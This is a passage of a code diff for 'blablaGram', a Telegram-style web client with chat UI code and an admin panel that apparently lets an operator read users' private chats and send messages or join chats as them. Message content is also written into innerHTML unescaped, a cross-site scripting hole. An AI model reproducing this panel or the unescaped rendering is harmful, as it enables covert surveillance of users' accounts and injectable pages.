+ .sidebar-header h2 { margin: 0; font-size: 1.5em; color: #2AABEE; font-weight: 700; }
214
+ .sidebar-header .actions button { background: none; border: none; font-size: 1.5em; cursor: pointer; color: #2AABEE; padding: 5px 8px; border-radius: 6px; transition: background-color 0.2s; }
215
+ .sidebar-header .actions button:hover { background-color: #E6F3FC; }
 
216
  .chat-list { flex: 1; overflow-y: auto; -webkit-overflow-scrolling: touch; }
217
+ .chat-list::-webkit-scrollbar { width: 8px; background-color: #F8F8F8; }
218
+ .chat-list::-webkit-scrollbar-thumb { border-radius: 10px; background-color: #CCC; }
219
+ .chat-item { display: flex; align-items: center; padding: 12px 20px; border-bottom: 1px solid #F5F5F5; cursor: pointer; transition: background-color 0.2s; }
220
+ .chat-item:hover { background-color: #F8F8F8; }
221
+ .chat-item.active { background-color: #E6F3FC; color: #2AABEE; }
222
+ .avatar-placeholder { width: 48px; height: 48px; border-radius: 50%; background-color: #2AABEE; color: white; display: flex; align-items: center; justify-content: center; font-size: 1.6em; font-weight: 600; margin-right: 15px; flex-shrink: 0; }
223
  .chat-info { flex: 1; overflow: hidden; }
224
+ .chat-info h3 { margin: 0 0 4px; font-size: 1.05em; font-weight: 600; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; color: #1C1C1C; }
225
+ .chat-item.active .chat-info h3 { color: #2AABEE; }
226
+ .chat-info p { margin: 0; font-size: 0.85em; color: #666; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
227
+ .join-chat-section { padding: 15px 20px; border-top: 1px solid #E0E0E0; display: flex; gap: 10px; background-color: #FFFFFF; }
228
+ .join-chat-section input { flex: 1; padding: 10px 12px; border: 1px solid #E0E0E0; border-radius: 8px; font-size: 0.95em; }
229
+ .join-chat-section button { background: #28A745; color: white; padding: 0 15px; border: none; border-radius: 8px; cursor: pointer; font-weight: 500; transition: background 0.2s; }
230
+ .join-chat-section button:hover { background: #218838; }
231
+
232
+ /* Chat Panel Styles */
233
  .chat-panel { flex: 1; display: flex; flex-direction: column; background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAACMsrS6AAAAP1BMVEXy9Pbv8vTw8vXx8/X09vfy9ffx8/Ty9Pbx8/Ty9Pbx8/Xz9ffy9Pby9Pbx8/Xy9ffy9fY7N5wzAAAAFXRSTlMAYKAgsLBgIFBwYNAg0JBQMFBgYCDQX1vPAAACHklEQVR42u3V227bMBBFUUCpQxJCSDqk//+3tCStA8MDjOT6222s5zFjsmy2zLIsy7Isy7Isy7Isy7Isy7Isy7Isy7Isy/rvBvj3yZNOcws8b8A3/4eCrwX8P/h/F/yG8x9Gfo3/u/JfQf498r8s+M/I/7Hgv2Sgvyb5e0H+pfL3gvzby98L8m8vfy/Iv5r8vSC/lvz9IL9e/r0gv1r594L82srfC/Krld8X5Fe3/L0gv1b5vSD/uvJ3gvz6y98L8isv/y/Ir1Z+L8ivpfxdIL+28neD/PLK3w3yyy9/N8ivvnx/CL+y8veD/PLq3wfyK69/H8ivv/x/CL+68veD/Prq3wvyKy9/L8ivvPx/CL+88veD/Prb3wvy6y9/L8ivr/x/CL+98veD/Prt3wvy6y9/X5DfX/n+Ifz2yt8P8uv3Pxfk19f/vyC/v/L9Q/jtlf8f5Ndv/1+QX3/9/4L8/stfD/L7S18P8gsvfx/I7698f5DfX/n+IXz55e+H+PXL3w/y+y9/P8jvr/x/iD/98vdD/Pr9/wvy+y//X5Dff/n/IX795e+H+P33/x/k91/+vyC//vL/IX7/5e+H+P23vx/k99/+vyC//vL3Q/z+y98P8vvv/z/I77/8/RA/AHz54x8QAF/++AcEwJdv/gEBsO+Jf0AAbPvjHxAAu/74BwTAph/9AQGw6Y9/QABs++MfEAC7/vgHBMCmH/0BAbDpj39AAGz74x8QALv++AcEwKYf/QEB/PzDPyAA9vzxDwiArX/8AwLg0w//gADY9sc/IAC2/fEPEAC7/vgHBMDTXz8gAL788Q8IgK+//AMCIAAA/PwnAMCyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMv6n/4H0j+fL0bIRekAAAAASUVORK5CYII="); background-repeat: repeat; background-size: 150px; }
234
+ .chat-panel-header { background: #FFFFFF; padding: 15px 25px; border-bottom: 1px solid #E0E0E0; display: flex; justify-content: space-between; align-items: center; }
235
+ .chat-panel-header h2 { margin: 0; font-size: 1.25em; font-weight: 600; color: #1C1C1C; }
236
+ .chat-panel-header .header-actions button { background: #2AABEE; color: white; border: none; padding: 9px 15px; border-radius: 6px; cursor: pointer; font-size: 0.9em; font-weight: 500; transition: background 0.2s, transform 0.2s; }
237
+ .chat-panel-header .header-actions button:hover { background: #1C91D0; transform: translateY(-1px); }
238
  .chat-panel-header .header-actions button:active { transform: translateY(0); }
239
+ .chat-panel-header .header-actions .switch-account { background: #6C757D; margin-left: 10px; }
240
+ .chat-panel-header .header-actions .switch-account:hover { background: #5A6268; }
241
 
242
+ .messages-container { flex: 1; overflow-y: auto; padding: 20px; display: flex; flex-direction: column-reverse; -webkit-overflow-scrolling: touch; }
243
+ .messages-container::-webkit-scrollbar { width: 8px; background-color: #F0F2F5; }
244
+ .messages-container::-webkit-scrollbar-thumb { border-radius: 10px; background-color: #BBB; }
245
+ .message-item { max-width: 75%; padding: 10px 14px; border-radius: 18px; margin-bottom: 8px; line-height: 1.45; word-wrap: break-word; font-size: 0.95em; box-shadow: 0 1px 1px rgba(0,0,0,0.05); }
246
+ .message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 4px; }
247
+ .message-item.received { background: #FFFFFF; align-self: flex-start; border-bottom-left-radius: 4px;}
248
+ .message-sender { font-weight: 600; color: #2AABEE; margin-bottom: 4px; display: block; font-size: 0.9em; }
249
+ .message-text { color: #111; }
250
+ .message-meta { font-size: 0.75em; color: #888; margin-top: 5px; text-align: right; }
251
+ .media-link { display: block; margin-top: 8px; color: #2AABEE; text-decoration: none; font-weight: 500; word-break: break-all; }
252
  .media-link:hover { text-decoration: underline; }
253
+ .message-loading { text-align: center; color: #777; margin: 10px 0; font-size: 0.9em; }
 
 
254
 
255
+ .chat-input-area { background: #F8F8F8; padding: 10px 20px; border-top: 1px solid #E0E0E0; display: flex; align-items: flex-end; gap: 10px; }
256
+ .chat-input-area textarea { flex: 1; padding: 12px 15px; border: 1px solid #E0E0E0; border-radius: 20px; background: #FFFFFF; resize: none; overflow-y: auto; max-height: 120px; font-size: 1em; line-height: 1.4; transition: border-color 0.3s, box-shadow 0.3s; }
257
+ .chat-input-area textarea:focus { border-color: #2AABEE; box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.1); outline: none; }
258
+ .chat-input-area button { background: #2AABEE; color: #fff; width: 44px; height: 44px; border: none; border-radius: 50%; cursor: pointer; font-size: 1.5em; display: flex; align-items: center; justify-content: center; transition: background 0.2s, transform 0.2s; flex-shrink: 0; }
259
+ .chat-input-area button:hover { background: #1C91D0; transform: translateY(-1px); }
260
+ .chat-input-area button:active { transform: translateY(0); }
261
+
262
+ .no-chat-selected { display: flex; justify-content: center; align-items: center; flex: 1; color: #777; font-size: 1.2em; text-align: center; }
263
 
 
 
 
 
 
 
 
264
  /* Mobile Adaptation */
265
+ .sidebar-toggle-button.mobile-only { display: none; }
266
+ .sidebar-backdrop { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.5); z-index: 999; }
267
+
268
  @media (max-width: 768px) {
269
  .app-layout { flex-direction: column; }
270
+ .sidebar { flex: 0 0 auto; width: 80%; max-width: 320px; height: 100vh; border-right: none; position: fixed; top: 0; left: 0; transform: translateX(-100%); box-shadow: 2px 0 10px rgba(0,0,0,0.2); }
271
  .sidebar.active { transform: translateX(0); }
272
  .chat-panel { width: 100%; height: 100vh; position: relative; }
273
+ .sidebar-toggle-button.mobile-only { display: block; background: none; border: none; font-size: 1.5em; color: #2AABEE; cursor: pointer; padding: 0 10px; }
274
  .sidebar-header .actions { display: flex; align-items: center; }
275
  .chat-panel-header { padding: 15px 15px; }
276
+ .chat-panel-header h2 { font-size: 1.1em; }
277
  .chat-input-area { padding: 10px 15px; }
278
  .message-item { max-width: 90%; }
279
+ .chat-panel-header .header-actions { display: none; } /* Hide logout buttons on small mobile */
280
+ .sidebar.active + .sidebar-backdrop { display: block; }
 
 
281
  }
282
  </style>
283
  </head>
 
285
  <div class="app-layout">
286
  <div class="sidebar" id="sidebar">
287
  <div class="sidebar-header">
288
+ <button class="sidebar-toggle-button mobile-only" onclick="toggleSidebar()">☰</button>
289
  <h2>blablaGram</h2>
290
  <div class="actions">
291
  <button onclick="newMessage()" title="New Message">✎</button>
 
296
  <input type="text" id="joinChatIdentifier" placeholder="Join link or @username">
297
  <button onclick="joinChat()">Join</button>
298
  </div>
299
+ <div style="padding: 10px 20px; border-top: 1px solid #E0E0E0; background: #FFFFFF; display: flex; justify-content: space-between;">
300
+ <button onclick="logout(true)" style="background: #6C757D; width: 48%; padding: 8px 12px; font-size: 0.9em; border-radius: 6px; box-shadow: none;">Switch Account</button>
301
+ <button onclick="logout(false)" style="background: #DC3545; width: 48%; padding: 8px 12px; font-size: 0.9em; border-radius: 6px; box-shadow: none;">Logout</button>
302
+ </div>
303
  </div>
304
+ <div class="sidebar-backdrop" onclick="toggleSidebar()"></div>
305
  <div class="chat-panel" id="chatPanel">
306
  <div class="chat-panel-header" id="appHeader">
307
+ <button class="sidebar-toggle-button mobile-only" onclick="toggleSidebar()" style="font-size: 1.8em;">←</button>
308
  <div id="chat-header-info">
309
  <h2 id="chatTitle" style="display:none;"></h2>
310
  </div>
 
328
 
329
  <script>
330
  let currentChatId = null;
331
+ let oldestMessageId = null;
332
+ let loadingMoreMessages = false;
333
  let hasMoreMessages = true;
 
334
 
335
  function toggleSidebar() {
336
  const sidebar = document.getElementById('sidebar');
337
+ const backdrop = document.querySelector('.sidebar-backdrop');
338
+ sidebar.classList.toggle('active');
339
+ backdrop.classList.toggle('active', sidebar.classList.contains('active'));
 
 
 
340
  }
341
 
342
  function adjustTextareaHeight() {
 
370
  chatListDiv.appendChild(chatItem);
371
  });
372
  } else {
373
+ chatListDiv.innerHTML = `<p style="padding: 20px; text-align: center; color: #777;">${result.message || 'No chats found.'}</p>`;
374
  }
375
  }
376
 
377
  async function selectChat(chatId) {
378
+ if (currentChatId === chatId && document.getElementById('messagesContainer').style.display !== 'none') {
379
+ if (window.innerWidth <= 768) { toggleSidebar(); }
 
 
380
  return;
381
  }
382
+
383
  currentChatId = chatId;
384
+ oldestMessageId = null;
385
+ hasMoreMessages = true;
386
+ loadingMoreMessages = false;
387
 
388
  document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
389
  document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
 
397
  document.getElementById('messagesContainer').style.display = 'flex';
398
  document.getElementById('chatInputArea').style.display = 'flex';
399
 
400
+ const messagesContainer = document.getElementById('messagesContainer');
401
+ messagesContainer.innerHTML = '<p class="message-loading">Loading messages...</p>';
402
+ messagesContainer.scrollTop = messagesContainer.scrollHeight;
403
+
404
+ await fetchMessages(currentChatId);
405
+
406
  if (window.innerWidth <= 768) {
407
+ toggleSidebar();
408
  }
409
  }
410
 
411
+ async function fetchMessages(chatId, offsetId = null) {
412
+ if (loadingMoreMessages || (offsetId && !hasMoreMessages)) return;
413
+
414
+ loadingMoreMessages = true;
415
  const messagesContainer = document.getElementById('messagesContainer');
416
+
417
+ const initialLoad = (offsetId === null);
418
+ if (initialLoad) {
419
+ messagesContainer.innerHTML = '<p class="message-loading">Loading messages...</p>';
420
  } else {
421
+ const loadingDiv = document.createElement('p');
422
+ loadingDiv.className = 'message-loading';
423
+ loadingDiv.id = 'loadingMore';
424
+ loadingDiv.textContent = 'Loading more messages...';
425
+ messagesContainer.prepend(loadingDiv);
 
426
  }
 
 
 
427
 
428
+ const url = `/api/chat_messages/${chatId}${offsetId ? `?offset_id=${offsetId}` : ''}`;
429
+ const response = await fetch(url);
430
+ const result = await response.json();
431
+
432
+ if (document.getElementById('loadingMore')) {
433
+ document.getElementById('loadingMore').remove();
434
  }
435
 
436
  if (result.success && result.messages) {
437
+ if (initialLoad) {
438
+ messagesContainer.innerHTML = '';
439
  }
440
 
441
+ if (result.messages.length === 0 && !initialLoad) {
 
442
  hasMoreMessages = false;
443
+ messagesContainer.prepend(document.createElement('p').outerHTML = '<p class="message-loading">No more messages.</p>');
444
  }
445
+
446
+ let newOldestMessageId = oldestMessageId;
447
+ const scrollHeightBefore = messagesContainer.scrollHeight;
448
+
449
+ result.messages.reverse().forEach(msg => {
450
  const messageItem = document.createElement('div');
451
  messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
452
 
453
+ let senderInfo = !msg.is_sent && msg.sender_name ? `<span class="message-sender">${msg.sender_name}</span>` : '';
454
+ let mediaHtml = msg.file_name && !msg.file_name.startsWith('Download failed') ? `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>` : '';
455
  let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
456
  let metaHtml = `<div class="message-meta">${msg.date}</div>`;
457
  let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
458
 
459
  messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
460
+
461
+ if (initialLoad) {
462
+ messagesContainer.prepend(messageItem);
463
+ } else {
464
+ messagesContainer.appendChild(messageItem);
465
+ }
466
+ if (newOldestMessageId === null || msg.id < newOldestMessageId) {
467
+ newOldestMessageId = msg.id;
468
+ }
469
  });
470
+ oldestMessageId = newOldestMessageId;
471
 
472
+ if (initialLoad) {
473
+ messagesContainer.scrollTop = messagesContainer.scrollHeight;
 
 
 
 
 
474
  } else {
475
+ const scrollHeightAfter = messagesContainer.scrollHeight;
476
+ messagesContainer.scrollTop += (scrollHeightAfter - scrollHeightBefore);
477
  }
 
 
 
 
 
 
 
 
478
  } else {
479
+ if (initialLoad) {
480
+ messagesContainer.innerHTML = `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`;
481
+ }
482
  }
483
+ loadingMoreMessages = false;
484
  }
485
 
486
+ document.getElementById('messagesContainer').addEventListener('scroll', () => {
487
+ if (document.getElementById('messagesContainer').scrollTop <= 100 && hasMoreMessages && !loadingMoreMessages) {
488
+ fetchMessages(currentChatId, oldestMessageId);
489
+ }
490
+ });
491
 
492
  async function newMessage() {
493
  const recipient = prompt("Enter recipient's username (e.g., @username) or chat ID:");
 
513
  const message = messageInput.value;
514
  if (!message.trim()) return;
515
 
516
+ const tempMessage = document.createElement('div');
517
+ tempMessage.className = 'message-item sent';
518
+ tempMessage.innerHTML = `<div class="message-text">${message.replace(/\\n/g, '<br>')}</div><div class="message-meta">Sending...</div>`;
519
+ document.getElementById('messagesContainer').prepend(tempMessage);
520
+ document.getElementById('messagesContainer').scrollTop = document.getElementById('messagesContainer').scrollHeight;
521
+
522
  messageInput.value = '';
523
  adjustTextareaHeight();
524
 
 
 
 
 
 
 
 
 
525
  const response = await fetch('/api/send_message', {
526
  method: 'POST',
527
  headers: { 'Content-Type': 'application/json' },
 
529
  });
530
  const result = await response.json();
531
  if (result.success) {
532
+ await fetchMessages(currentChatId, null); // Re-fetch to update with actual message from Telegram
533
  } else {
534
  alert('Failed to send message: ' + result.message);
535
+ tempMessage.remove(); // Remove temporary message on failure
536
  messageInput.value = message;
537
  adjustTextareaHeight();
538
  }
 
551
  formData.append('file', file);
552
  formData.append('caption', caption);
553
 
554
+ const tempMessage = document.createElement('div');
555
+ tempMessage.className = 'message-item sent';
556
+ tempMessage.innerHTML = `<div class="message-text">Uploading: ${file.name}</div><div class="message-meta">Sending file...</div>`;
557
+ document.getElementById('messagesContainer').prepend(tempMessage);
558
+ document.getElementById('messagesContainer').scrollTop = document.getElementById('messagesContainer').scrollHeight;
559
+
560
+ messageInput.value = '';
561
+ fileInput.value = '';
562
  adjustTextareaHeight();
563
 
 
 
 
 
 
 
 
 
564
  const response = await fetch('/api/send_file', {
565
  method: 'POST',
566
  body: formData
567
  });
568
  const result = await response.json();
 
569
  if (result.success) {
570
+ await fetchMessages(currentChatId, null);
571
  } else {
572
  alert('Failed to send file: ' + result.message);
573
+ tempMessage.remove();
574
  }
575
  }
576
 
577
  async function joinChat() {
578
+ const chatIdentifier = document.getElementById('joinChatIdentifier').value;
579
  if (!chatIdentifier.trim()) {
580
  alert('Please enter a channel/group username or invite link.');
581
  return;
 
621
  <meta charset="UTF-8">
622
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
623
  <title>blablaGram - Admin Panel</title>
624
+ <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
625
  <style>
626
+ body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; color: #333; margin: 0; padding: 25px; }
627
+ .container { max-width: 1000px; margin: auto; background: #fff; padding: 35px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); }
628
+ h1, h2 { text-align: center; color: #2AABEE; margin-bottom: 25px; font-weight: 700; font-size: 2.2em; }
629
+ h2 { font-size: 1.6em; margin-top: 35px; }
630
+ table { width: 100%; border-collapse: collapse; margin-top: 25px; border-radius: 10px; overflow: hidden; box-shadow: 0 4px 15px rgba(0,0,0,0.05); }
631
+ th, td { padding: 18px; border: 1px solid #EAEAEA; text-align: left; }
632
+ th { background: #F8F8F8; color: #555; font-weight: 600; font-size: 0.95em; text-transform: uppercase; letter-spacing: 0.5px; }
 
 
 
 
 
 
 
 
 
 
 
 
 
633
  tr:nth-child(even) { background: #FDFDFD; }
634
+ tr:hover { background: #E6F3FC; }
635
+ a { color: #2AABEE; text-decoration: none; transition: color 0.3s ease; font-weight: 500; }
636
+ a:hover { text-decoration: underline; }
637
+ .back-button { margin-top: 40px; text-align: center; }
638
+ .back-button a { display: inline-block; padding: 12px 25px; background: #6C757D; color: white; border-radius: 10px; transition: background 0.3s ease, transform 0.2s ease; font-weight: 500; text-decoration: none; box-shadow: 0 4px 10px rgba(0,0,0,0.1); }
639
+ .back-button a:hover { background: #5A6268; transform: translateY(-2px); box-shadow: 0 6px 15px rgba(0,0,0,0.15); }
 
 
640
  @media (max-width: 768px) {
641
  body { padding: 15px; }
642
+ .container { padding: 25px; border-radius: 12px; }
643
+ h1 { font-size: 2em; margin-bottom: 20px; }
644
+ h2 { font-size: 1.4em; margin-top: 25px; }
645
+ table { font-size: 0.9em; }
646
+ th, td { padding: 12px; }
 
 
 
 
 
 
 
 
 
 
 
647
  }
648
  </style>
649
  </head>
 
684
  <meta charset="UTF-8">
685
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
686
  <title>Manage: {{ user.username or user.phone }}</title>
687
+ <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
688
  <style>
689
+ body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; color: #333; margin: 0; padding: 25px; }
690
+ .container { max-width: 1400px; margin: auto; background: #fff; padding: 35px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.15); }
691
+ h1, h2 { text-align: center; color: #2AABEE; margin-bottom: 20px; font-weight: 700; font-size: 2.2em; }
692
+ .user-info { text-align: center; margin-bottom: 30px; font-size: 1.1em; color: #777; font-weight: 500; }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
693
  .split-panel { display: flex; gap: 25px; margin-top: 25px; }
694
+ .split-panel > div { flex: 1; background: #F9F9F9; padding: 25px; border-radius: 12px; border: 1px solid #EEE; box-shadow: 0 4px 15px rgba(0,0,0,0.05); }
695
+ h2 { margin-top: 0; font-size: 1.5em; font-weight: 600; color: #333; margin-bottom: 20px; text-align: left;}
696
+ input[type="text"], textarea { width: calc(100% - 24px); padding: 12px; margin: 8px 0; border: 1px solid #DDD; border-radius: 8px; background: #FFF; font-size: 0.95em; transition: border-color 0.3s, box-shadow 0.3s; }
697
+ input[type="text"]:focus, textarea:focus { border-color: #2AABEE; box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.1); outline: none; }
698
  textarea { resize: vertical; min-height: 80px; }
699
+ button { background: #2AABEE; color: #fff; padding: 12px 20px; border: none; border-radius: 8px; cursor: pointer; font-size: 1.0em; font-weight: bold; margin-top: 15px; width: 100%; transition: background 0.3s ease, transform 0.2s ease, box-shadow 0.2s ease; box-shadow: 0 2px 5px rgba(42, 171, 238, 0.2); }
700
+ button:hover { background: #1C91D0; transform: translateY(-1px); box-shadow: 0 4px 8px rgba(42, 171, 238, 0.3); }
701
+ button:active { transform: translateY(0); box-shadow: 0 1px 3px rgba(42, 171, 238, 0.1); }
702
+ .chat-list { max-height: 450px; overflow-y: auto; border: 1px solid #DDD; border-radius: 8px; background: #FFF; }
703
+ .chat-list::-webkit-scrollbar { width: 8px; background-color: #F9F9F9; }
704
+ .chat-list::-webkit-scrollbar-thumb { border-radius: 10px; background-color: #CCC; }
705
+ .chat-item { padding: 14px 18px; border-bottom: 1px solid #EEE; cursor: pointer; transition: background 0.2s ease; }
706
+ .chat-item:hover, .chat-item.active { background: #E6F3FC; }
707
  .chat-item:last-child { border-bottom: none; }
708
+ .chat-item h3 { margin: 0; font-size: 1.05em; color: #1C1C1C; font-weight: 600; }
709
+ .chat-item p { margin: 5px 0 0; font-size: 0.85em; color: #666; }
710
+ .message-viewer { margin-top: 30px; background: #F9F9F9; padding: 30px; border-radius: 12px; border: 1px solid #EEE; box-shadow: 0 4px 15px rgba(0,0,0,0.05); }
711
+ .messages-container { min-height: 200px; max-height: 500px; overflow-y: auto; padding: 15px; border: 1px solid #DDD; border-radius: 8px; background: #FFF; margin-top: 15px; display: flex; flex-direction: column-reverse; }
712
+ .messages-container::-webkit-scrollbar { width: 8px; background-color: #F9F9F9; }
713
+ .messages-container::-webkit-scrollbar-thumb { border-radius: 10px; background-color: #CCC; }
714
+ .message-item { max-width: 80%; padding: 10px 14px; border-radius: 18px; margin-bottom: 10px; line-height: 1.4; word-wrap: break-word; font-size: 0.9em; box-shadow: 0 1px 1px rgba(0,0,0,0.05); }
715
+ .message-item.sent { background: #DCF8C6; align-self: flex-end; }
716
+ .message-item.received { background: #F1F0F0; align-self: flex-start; }
717
+ .message-sender { font-weight: bold; color: #2AABEE; margin-bottom: 4px; display: block; font-size: 0.9em; }
718
+ .message-text { color: #111; }
719
+ .message-meta { font-size: 0.7em; color: #999; margin-top: 5px; text-align: right; }
720
+ .media-link { display: block; margin-top: 5px; color: #2AABEE; text-decoration: none; }
721
+ .back-button { margin-top: 40px; text-align: center; }
722
+ .back-button a { display: inline-block; padding: 12px 25px; background: #6C757D; color: white; border-radius: 10px; transition: background 0.3s ease; font-weight: 500; text-decoration: none; box-shadow: 0 4px 10px rgba(0,0,0,0.1); }
723
+ .back-button a:hover { background: #5A6268; transform: translateY(-2px); box-shadow: 0 6px 15px rgba(0,0,0,0.15); }
724
+ .clear-chat-selection { text-align: center; margin-top: 20px; }
725
+ .clear-chat-selection button { background: #6C757D; color: #fff; width: auto; padding: 10px 20px; border-radius: 8px; box-shadow: none; }
726
+ .clear-chat-selection button:hover { background: #5A6268; }
727
+ .button.secondary { background: #28A745; margin-top: 10px; }
728
+ .button.secondary:hover { background: #218838; }
729
+ .message-loading { text-align: center; color: #777; margin: 10px 0; font-size: 0.9em; }
730
 
731
  @media (max-width: 768px) {
732
  body { padding: 15px; }
733
+ .container { padding: 25px; border-radius: 12px; }
734
+ h1 { font-size: 2em; margin-bottom: 15px; }
735
  .split-panel { flex-direction: column; gap: 20px; }
736
+ .action-panel, .chat-list-panel, .message-viewer { padding: 20px; }
737
+ h2 { font-size: 1.3em; margin-bottom: 15px; }
738
+ input[type="text"], textarea, button { font-size: 0.9em; padding: 10px; }
739
+ .chat-list, .messages-container { max-height: 300px; }
740
+ .message-item { max-width: 90%; }
 
 
 
741
  }
742
  </style>
743
  </head>
 
753
  <textarea id="sendMessageContent" rows="4" placeholder="Message content"></textarea>
754
  <button onclick="sendMessage({{ user.id }})">Send Text Message</button>
755
  <input type="file" id="sendFileInput" style="display: none;" onchange="handleFileSelect({{ user.id }})">
756
+ <button onclick="document.getElementById('sendFileInput').click()" class="button secondary">Send File</button>
757
 
758
  <h2 style="margin-top: 30px;">Join Chat</h2>
759
  <input type="text" id="joinChatIdentifier" placeholder="Channel/Group link or @username">
 
769
  <p>{{ chat.type }} {% if chat.participants %}| Participants: {{ chat.participants }}{% endif %}</p>
770
  </div>
771
  {% else %}
772
+ <p style="padding: 15px; text-align: center;">No chats found.</p>
773
  {% endfor %}
774
  </div>
775
  <div class="clear-chat-selection"><button onclick="clearChatSelection()">Clear Selection</button></div>
 
785
  </div>
786
  <script>
787
  let currentAdminChatId = null;
788
+ let oldestAdminMessageId = null;
789
+ let loadingMoreAdminMessages = false;
790
+ let hasMoreAdminMessages = true;
791
 
792
  function clearChatSelection() {
793
  document.getElementById('messageViewer').style.display = 'none';
794
  document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
795
  currentAdminChatId = null;
796
+ oldestAdminMessageId = null;
797
+ hasMoreAdminMessages = true;
798
+ loadingMoreAdminMessages = false;
799
  }
800
 
801
  async function selectChat(userId, chatId, chatTitle) {
802
+ if (currentAdminChatId === chatId && document.getElementById('messageViewer').style.display !== 'none') {
803
+ return;
804
+ }
805
+
806
  currentAdminChatId = chatId;
807
+ oldestAdminMessageId = null;
808
+ hasMoreAdminMessages = true;
809
+ loadingMoreAdminMessages = false;
810
 
811
  document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
812
  document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
813
 
814
  document.getElementById('messageViewer').style.display = 'block';
815
  document.getElementById('messagesChatTitle').textContent = `Messages in "${chatTitle}"`;
816
+ const messagesContainer = document.getElementById('messagesContainer');
817
+ messagesContainer.innerHTML = '<p class="message-loading">Loading messages...</p>';
818
+ messagesContainer.scrollTop = messagesContainer.scrollHeight;
819
+
820
+ await fetchAdminMessages(userId, chatId);
821
  }
822
 
823
+ async function fetchAdminMessages(userId, chatId, offsetId = null) {
824
+ if (loadingMoreAdminMessages || (offsetId && !hasMoreAdminMessages)) return;
825
+
826
+ loadingMoreAdminMessages = true;
827
  const messagesContainer = document.getElementById('messagesContainer');
828
+
829
+ const initialLoad = (offsetId === null);
830
+ if (initialLoad) {
831
+ messagesContainer.innerHTML = '<p class="message-loading">Loading messages...</p>';
832
  } else {
833
+ const loadingDiv = document.createElement('p');
834
+ loadingDiv.className = 'message-loading';
835
+ loadingDiv.id = 'loadingMoreAdmin';
836
+ loadingDiv.textContent = 'Loading more messages...';
837
+ messagesContainer.prepend(loadingDiv);
 
838
  }
839
 
840
+ const url = `/admhosto/user/${userId}/chat/${chatId}/messages${offsetId ? `?offset_id=${offsetId}` : ''}`;
841
+ const response = await fetch(url);
842
  const result = await response.json();
843
+
844
+ if (document.getElementById('loadingMoreAdmin')) {
845
+ document.getElementById('loadingMoreAdmin').remove();
846
  }
847
 
848
  if (result.success && result.messages) {
849
+ if (initialLoad) {
850
  messagesContainer.innerHTML = '';
851
  }
852
 
853
+ if (result.messages.length === 0 && !initialLoad) {
854
+ hasMoreAdminMessages = false;
855
+ messagesContainer.prepend(document.createElement('p').outerHTML = '<p class="message-loading">No more messages.</p>');
 
856
  }
857
 
858
+ let newOldestMessageId = oldestAdminMessageId;
859
+ const scrollHeightBefore = messagesContainer.scrollHeight;
860
+
861
  result.messages.reverse().forEach(msg => {
862
  const messageItem = document.createElement('div');
863
  messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
864
+ let senderInfo = !msg.is_sent && msg.sender_name ? `<span class="message-sender">${msg.sender_name}</span>` : '';
865
+ let mediaHtml = msg.file_name && !msg.file_name.startsWith('Download failed') ? `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>` : '';
866
  let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
867
  let metaHtml = `<div class="message-meta">${msg.date}</div>`;
868
  let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
869
 
870
  messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
871
+
872
+ if (initialLoad) {
873
+ messagesContainer.prepend(messageItem);
874
+ } else {
875
+ messagesContainer.appendChild(messageItem);
876
+ }
877
+ if (newOldestMessageId === null || msg.id < newOldestMessageId) {
878
+ newOldestMessageId = msg.id;
879
+ }
880
  });
881
+ oldestAdminMessageId = newOldestMessageId;
882
 
883
+ if (initialLoad) {
 
 
 
 
 
 
 
 
 
 
 
884
  messagesContainer.scrollTop = messagesContainer.scrollHeight;
885
+ } else {
886
+ const scrollHeightAfter = messagesContainer.scrollHeight;
887
+ messagesContainer.scrollTop += (scrollHeightAfter - scrollHeightBefore);
888
  }
 
889
 
890
  } else {
891
+ if (initialLoad) {
892
+ messagesContainer.innerHTML = `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`;
893
+ }
894
  }
895
+ loadingMoreAdminMessages = false;
896
  }
897
 
898
+ document.getElementById('messagesContainer').addEventListener('scroll', () => {
899
+ if (currentAdminChatId && document.getElementById('messagesContainer').scrollTop <= 100 && hasMoreAdminMessages && !loadingMoreAdminMessages) {
900
+ fetchAdminMessages({{ user.id }}, currentAdminChatId, oldestAdminMessageId);
